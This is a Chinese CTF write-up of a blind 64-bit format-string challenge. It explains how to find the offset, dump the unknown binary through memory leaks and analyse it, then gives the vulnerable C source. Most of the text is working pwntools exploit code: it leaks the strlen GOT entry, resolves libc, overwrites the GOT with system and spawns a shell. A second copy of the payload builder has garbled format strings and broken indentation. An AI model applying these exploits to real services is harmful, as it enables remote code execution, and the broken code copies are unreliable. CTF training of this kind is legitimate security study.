

Blindpwn-64位有偏移

发表于 2021-01-16 分类于 [Challenge](#) , [2019](#) , [安洵杯](#) , [Pwn](#)
[Challenge](#) | [2019](#) | [安洵杯](#) | [Pwn](#) | [Blindpwn-64位有偏移](#)

[点击此处](#)获得更好的阅读体验

WriteUp来源

<https://xz.aliyun.com/t/6912>

题目考点

解题思路

首先没有题目,只有端口,连接上去,测试,发现,存在格式化字符串漏洞

然后同时也没有任何数据的回显,只是不断的重复循环,输出你输入的内容

这里需要注意的是,可以通过输入空格或者特殊字符来初步猜测的判断,输入函数是gets还是scanf还是read...因为这三者对于输入的数据的读取是不同的,就比如我本次输入1\n,它却显示了两个换行,那么这个很可能是read函数用来接收输入,但这里只能是猜测,因为read是最好的利用函数...

那么,开始思考,我们目前没有任何有用的信息,该如何获取到有用的信息

这里就需要对于pwn进行盲打,dump整个程序下来..

然后根据dump下来的程序来寻找程序的地址,进行分析

同时因为输入%p 返回的是8个字节的数据,所以是64位程序

dump程序

计算偏移

dump程序需要首先知道格式化字符串函数的偏移

所以step 1--计算偏移

由于不喜欢手算,直接pwntools跑,加

```
1 #-*- coding:utf-8 -*-
2 from pwn import *
3 from LibcSearcher import LibcSearcher
4 #context.log_level='debug'
5 #context.arch = 'i386', os = 'linux', log_level='debug')
6 context.arch = 'amd64', os = 'linux', log_level='debug')
7 #log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
8 elfFileName = "./stilltest"
9 libcFileName = ""
10 ip = "0.0.0.0"
11 port = 10001
12
13 Debug = 1
14 if Debug:
15     io = process(elfFileName)
16 else:
17     io = remote(ip,port)
18
19 # calculate the offset
20 def exec_fmt(payload):
21     io.recvuntil("\nPlease tell me:")
22     io.sendline(payload)
23     info = io.recvuntil("\n")
24     return info
25
26
27 auto = FmtStr(exec_fmt)
28 offset = auto.offset
29 print "offset is " + str(offset)
30
31 io.interactive()
32
33 '''
34 [*] Found format string offset: 8
35 offset is 8
36 '''
```

那么开始快乐的dump程序

dump代码编写

如果以文件尾作为dump结束的话,在挂载程序的时候可能出现无限泄露,可以考虑加上范围限制,这个要根据具体的情况考虑,这里暂时就无限泄露,ctrl+C断开

dump代码编写,其实有点头疼,因为其实对于数据处理来容易出现失误(输出的数据的尾巴,需要处理掉),网上有些博客上提供的dump脚本,有些都是错的...这里整理各位大佬的脚本,最后写出一个比较合理的脚本

dump需要注意前面输出的内容,9个字节的Repeater:

```

1  #! /usr/bin/env python
2  # -*- coding: utf-8 -*-
3
4  from pwn import *
5
6  context.log_level = 'debug'#critical/debug
7  p = process("./stilltest")
8  f = open("stilltestbin", "ab+")
9  #f = open("64weiba", "ab+")
10
11 begin = 0x400000
12 offset = 0
13 i=0
14 p.recvuntil('Please tell me:')
15 while True:#i<13:#True:#
16     addr = begin + offset
17     p.sendline("%10$aabccddeef" + p64(addr))
18     try:
19         #info = p.recv(4)
20         info = p.recvuntil('aabccddeef',drop=True)[9:]
21         remain = p.recvrepeat(0.2)#recv the tail to dump in cicle
22         print info.encode("hex")
23         print len(info)
24     except EOFError:
25         print "offset is " + str(offset)
26         break
27     if len(info)==0:
28         print "info is null"
29         offset += 1
30         f.write('\x00')
31     else:
32         info += "\x00"
33         offset += len(info)
34         f.write(info)
35         f.flush()
36     #i = i + 1
37     print "offset is " + str(offset)
38 f.close()
39 p.close()
40 #'''

```

前面可以先利用我设计的i来测试基地址,因为我们根本不知道这个程序的保护机制,所以我们没法知道是否开启了ASLR,那么测试基地址重要性,就来了,64位程序的基地址是0x400000,如果在此地址上面,返回的数据的确是0x7F454C46,那么就是没有开启ASLR

然后其中有段remain = p.recvrepeat(0.2)#tail这里很重要,就是为了读取前面截断数据后面输出的垃圾数据,这也是很多博客提供的脚本没法dump的原因...(不知道他们是如何dump的,可能有什么其它的骚操作?)

还有一个就是,读取的所有null,都应该转换为\x00,这样子就可以把scanf读取数据00截断的问题,给解决了

这个出现一个问题,就是偏移到了4096字节,就会报错

首先操作系统中分页上 512 * 8 = 4096个字节为一页,而且分析了很多不同的64位elf文件,发现有两个段之间的偏移会很大...你看

后面的段,从开始到文件结尾都是固定长度,但是我们一直dump,只能dump到这里,就会结束,因为一页,没了,那么后面的程序,got,.got.plt 和extern,如果愿意,也可以找到地址去dump到部分的地址值,最后根据plt/got表的格式进行分析,但是这太麻烦,需要分析文件头的结构中记录的地址偏移...(如果想要dump也可以用我的脚本,修改上你计算过的地址偏移,再把后面的数据dump下来,容易出问题,但是只要计算的值是对的,就没问题)

那么在这里,我们拿着残缺的程序,其实还是可以分析的...

dump程序的分析

dump下来的程序没法运行,同时载入的时候需要设置一下...

我们直接ida打开,找到代码段,分析汇编代码...

其实和分析32位程序一样的,虽然没法一下子找到start代码中对应的main的地址,但是我们通过分析汇编跳转,我们还是很容易找到,main函数的地址的...readelf -h 读取elf header,找到start函数地址,然后找到main函数的地址

但是这里我们最好不要反汇编出来,因为真的没什么用,64位程序的参数都是放入寄存器的,分析汇编出结果,比分析反汇编出来的伪代码来的快

如果不改,直接分析汇编代码,仔细分析,根据提示.txt,还是可以看出结构的..

慢慢分析这个结构就出来了:慢慢自己改名字...这里为什么不要根据F5出来的结果来看参数,要看汇编代码来判断

循环,调用函数...emmm,确实头疼,要猜,要根据功能和提示,才能最后判断...

那么剩下的就是去找到不同函数的got表的地址,熟悉plt表和got原理就知道双击strlen,可以泄露strlen函数地址

OK,完全简单了...就是简单的格式化字符串漏洞了,写exp...

exp

写exp注意00截断

发现printf函数的地址是不能用来泄露的...

我发现问题出现在于printf函数的地址上,很多时候pwn题在载入的时候,这个函数的地址都会是被scanf printf函数给解析的,解析了他们地址上的特殊符号...所以这个真的不好用...只能最好找到替代品,puts函数,或者strlen函数...常见的是strlen函数和puts函数一直都是格式化字符串钟爱的使用漏洞点...

源码

```
1 #include <stdio.h>
2 #include <unistd.h>
3 #include <string.h>
4 #include <stdlib.h>
5
6 int main(void){
7     //init
8     setbuf(stdout,0);
9     setbuf(stdin,0);
10    setbuf(stderr,0);
11    printf("Hello,I am a computer Repeater updated.\nAfter a lot of machine learning,I know that the essence of man is a reread machine!\n");
12    printf("So I'll answer whatever you say!\n");
13
14    char buf[257];
15    char format[300];
16    unsigned int len1 = 0;
17    while(1){
18        alarm(3);
19        memset(buf,0,sizeof(char)*257);
20        memset(format,0,sizeof(char)*300);
21        printf("Please tell me:");
22        read(0,buf,256);
23        sprintf(format,"Repeater:%s\n",buf);
24        len1 = strlen(format);
25        if(len1 > 270){
26            printf("what you input is really long!");
27            exit(0);
28        }
29        printf(format);
30    }
31    printf("game over!\n");
32    return 0;
33 }
```

解题思路还是和32位一样:

找到strlen函数的地址,直接利用plt/got的知识,寻找到就行...

- leak address
- use LibcSearcher to find libc
- getshell

自己写的一个关键函数

但是getshell cover覆盖地址的时候需要改变代码:(珍贵的反序函数代码用来把地址放在后面...纯手工冰粉,现做现卖...)

```

1 def antitone_fmt_payload(offset, writes, numbwritten=0, write_size='byte'):
2     config = {
3         32 : {
4             'byte': (4, 1, 0xFF, 'hh', 8),
5             'short': (2, 2, 0xFFFF, 'h', 16),
6             'int': (1, 4, 0xFFFFFFFF, '', 32)},
7         64 : {
8             'byte': (8, 1, 0xFF, 'hh', 8),
9             'short': (4, 2, 0xFFFF, 'h', 16),
10            'int': (2, 4, 0xFFFFFFFF, '', 32)
11        }
12    }
13
14    if write_size not in ['byte', 'short', 'int']:
15        log.error("write_size must be 'byte', 'short' or 'int'")
16
17    number, step, mask, formatz, decalage = config[context.bits][write_size]
18
19    payload = ""
20
21    payload_last = ""
22    for where, what in writes.items():
23        for i in range(0, number*step, step):
24            payload_last += pack(where+i)
25
26    fmtCount = 0
27    payload_forward = ""
28
29    key_toadd = []
30    key_offset_fmtCount = []
31
32
33    for where, what in writes.items():
34        for i in range(0, number):
35            current = what & mask
36            if numbwritten & mask <= current:
37                to_add = current - (numbwritten & mask)
38            else:
39                to_add = (current | (mask+1)) - (numbwritten & mask)
40
41            if to_add != 0:
42                key_toadd.append(to_add)
43                payload_forward += "%{}c".format(to_add)
44            else:
45                key_toadd.append(to_add)
46            payload_forward += "%{}${}n".format(offset + fmtCount, formatz)
47            key_offset_fmtCount.append(offset + fmtCount)
48            #key_formatz.append(formatz)
49
50            numbwritten += to_add
51            what >>= decalage
52            fmtCount += 1
53
54
55    len1 = len(payload_forward)
56
57    key_temp = []
58    for i in range(len(key_offset_fmtCount)):
59        key_temp.append(key_offset_fmtCount[i])
60
61    x_add = 0
62    y_add = 0
63    while True:
64
65        x_add = len1 / 8 + 1
66        y_add = 8 - (len1 % 8)
67
68        for i in range(len(key_temp)):
69            key_temp[i] = key_offset_fmtCount[i] + x_add
70
71        payload_temp = ""
72        for i in range(0, number):
73            if key_toadd[i] != 0:
74                payload_temp += "%{}c".format(key_toadd[i])
75            payload_temp += "%{}${}n".format(key_temp[i], formatz)
76
77        len2 = len(payload_temp)
78
79        xchange = y_add - (len2 - len1)
80        if xchange >= 0:
81            payload = payload_temp + xchange*'a' + payload_last
82            return payload;
83        else:
84            len1 = len2

```

完整exp

那么完整的exp对于增加了strlen函数的题目之后就是这样子了:

```

1  -*- coding:utf-8 -*-
2  from pwn import *
3  import time
4  from LibcSearcher import LibcSearcher
5  #context.log_level='debug'
6  #context(arch = 'i386', os = 'linux', log_level='debug')
7  context(arch = 'amd64', os = 'linux', log_level='debug')
8  #log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
9  Debug = 1
10 if Debug:
11     io = process("./stilltest")

```

```

12 else:
13     io = remote('0.0.0.0',10003)
14
15 def antitone_fmt_payload(offset, writes, numbwritten=0, write_size='byte'):
16     config = {
17         32 : {
18             'byte': (4, 1, 0xFF, 'hh', 8),
19             'short': (2, 2, 0xFFFF, 'h', 16),
20             'int': (1, 4, 0xFFFFFFFF, '', 32)},
21         64 : {
22             'byte': (8, 1, 0xFF, 'hh', 8),
23             'short': (4, 2, 0xFFFF, 'h', 16),
24             'int': (2, 4, 0xFFFFFFFF, '', 32)
25     }
26 }
27
28 if write_size not in ['byte', 'short', 'int']:
29     log.error("write_size must be 'byte', 'short' or 'int'")
30
31 number, step, mask, formatz, decalage = config[context.bits][write_size]
32
33 payload = ""
34
35 payload_last = ""
36 for where,what in writes.items():
37     for i in range(0,number*step,step):
38         payload_last += pack(where+i)
39
40 fmtCount = 0
41 payload_forward = ""
42
43 key_toadd = []
44 key_offset_fmtCount = []
45
46
47 for where,what in writes.items():
48     for i in range(0,number):
49         current = what & mask
50         if numbwritten & mask <= current:
51             to_add = current - (numbwritten & mask)
52         else:
53             to_add = (current | (mask+1)) - (numbwritten & mask)
54
55         if to_add != 0:
56             key_toadd.append(to_add)
57             payload_forward += "%{c}".format(to_add)
58         else:
59             key_toadd.append(to_add)
60             payload_forward += "{}${n}".format(offset + fmtCount, formatz)
61             key_offset_fmtCount.append(offset + fmtCount)
62             #key_formatz.append(formatz)
63
64         numbwritten += to_add
65         what >>= decalage
66         fmtCount += 1
67
68
69 len1 = len(payload_forward)
70
71 key_temp = []
72 for i in range(len(key_offset_fmtCount)):
73     key_temp.append(key_offset_fmtCount[i])
74
75 x_add = 0
76 y_add = 0
77 while True:
78
79     x_add = len1 / 8 + 1
80     y_add = 8 - (len1 % 8)
81
82     for i in range(len(key_temp)):
83         key_temp[i] = key_offset_fmtCount[i] + x_add
84
85     payload_temp = ""
86     for i in range(0,number):
87         if key_toadd[i] != 0:
88             payload_temp += "%{c}".format(key_toadd[i])
89         payload_temp += "{}${n}".format(key_temp[i], formatz)
90
91     len2 = len(payload_temp)
92
93     xchange = y_add - (len2 - len1)
94     if xchange >= 0:
95         payload = payload_temp + xchange*'a' + payload_last
96         return payload
97     else:
98         len1 = len2
99 #dump bin can not be loaded
100 #but can analysis
101 offset = 8
102 #step 1 leak the printf_got
103 #maybe plt 08048400
104 strlen_got = 0x601020
105 strlen_leak = "%9$s" + "SEND" + p64(strlen_got)
106 io.send(strlen_leak)
107 io.recvuntil('Repeater:')
108 libc_strlen = u64(io.recvuntil('SEND', drop=True).ljust(8, '\x00'))
109 print hex(libc_strlen)
110 #libc_printf = u64(io.recv()[8:16])
111 #print hex(libc_printf)
112 io.recv()
113
114 #step 2 find the libc

```

```
115 libc = LibcSearcher('strlen',libc_strlen)
116 libcbase = libc_strlen - libc.dump('strlen')
117 system_addr = libcbase + libc.dump('system')
118 print hex(system_addr)
119 #step 3 cover the address
120
121 payload_antitone = antitone_fmt_payload(8,{strlen_got : system_addr},write_size='short',numbwritten=9)
122 #payload_cover = fmtstr_payload(8,{putchar_got : system_addr},write_size='short')
123 io.sendline(payload_antitone)
124 io.recv()
125
126 #step 4 get shell
127 #time.sleep(10)
128 io.sendline("/bin/sh\x00")
129 #io.recv()
130 print hex(system_addr)
131 io.interactive()
```

参考链接

- [陌小生](#)
- [默小西](#)
- [ctf-wiki](#)
- [pwntools官方文档...](#)
- 本文作者: CTFHub
- 本文链接: <https://writeup.ctfhub.com/Challenge/2019/安淘杯/Pwn/t4K5W99pHgwJFMkTmT2L7R.html>
- 版权声明: 本博客所有文章除特别声明外, 均采用 [BY-NC-SA](#) 许可协议。转载请注明出处!

[#Challenge](#) [#Pwn](#) [#2019](#) [#安淘杯](#)

[JustBase](#)

[BROP](#)